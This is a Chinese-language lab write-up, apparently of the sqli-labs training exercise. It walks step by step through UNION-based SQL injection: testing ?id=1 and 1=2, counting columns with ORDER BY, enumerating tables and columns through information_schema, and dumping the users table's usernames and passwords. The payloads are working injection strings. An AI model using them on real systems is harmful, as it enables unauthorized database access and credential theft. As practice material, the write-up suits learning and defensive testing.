首先打开网页,进行注入点的测试 输入?id=1 and 1=1发现1=2的时候出现了报错,说明服务器接收了我们的指令,并且进行了反馈,说明了有注入点的存在,然后对注入点进行测试
然后输入order by()来拆解一下有多少个显示字段,输入4发现没有回显,
输入order by 3发现有回显并且有三个显示字段,
然后输入union select 1,2,3 因为有三个显示字段,所以查询一下显示位,因为我们要显示我们输入的1,2,3.所以要把服务器想要显示的让他报错,发现只有2和3,有回显
知道2和3可以回显之后就可以进行下一步,在2或者3的位置进行信息收集,首先进行他的数据库版本和数据库名字进行收集得到
数据库版本:version() 5.7.26
数据库名称:database() security
因为得到了他的数据库的名字,所以我们要去收集他的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
查询到表名有 emails,referers,uagents,users
查询完表名之后就要去查询他的列名,一共有四个表名,所以我们就要去挨个查询,去得到他的敏感信息,因为要查询列名,所以就要把查询的表名切换为列名,然后来自于表名下所有的列,,这些来自于表名所以后面有要改搜索到的表名,一共有四个表名,就要去挨个去搜索,
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' 蓝色字体为修改的值
得到的列名总共有 id,email_id id,referer,ip_address id,uagent,ip_address,username
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
发现里面有,username,password意思是账号密码的意思,可以在这两个列里面查询里面的信息,因为不知道有多少密码可以尝试用group_concat()来全部输出看一下
union select 1,group_concat(username),group_concat(password) from users
联合查询,全部输出(username),全部输出(password) 来自于users
因为username,password是在users 这个表里面查询出来的,就要去这个表里面去查询
得到账号Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5
密码Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5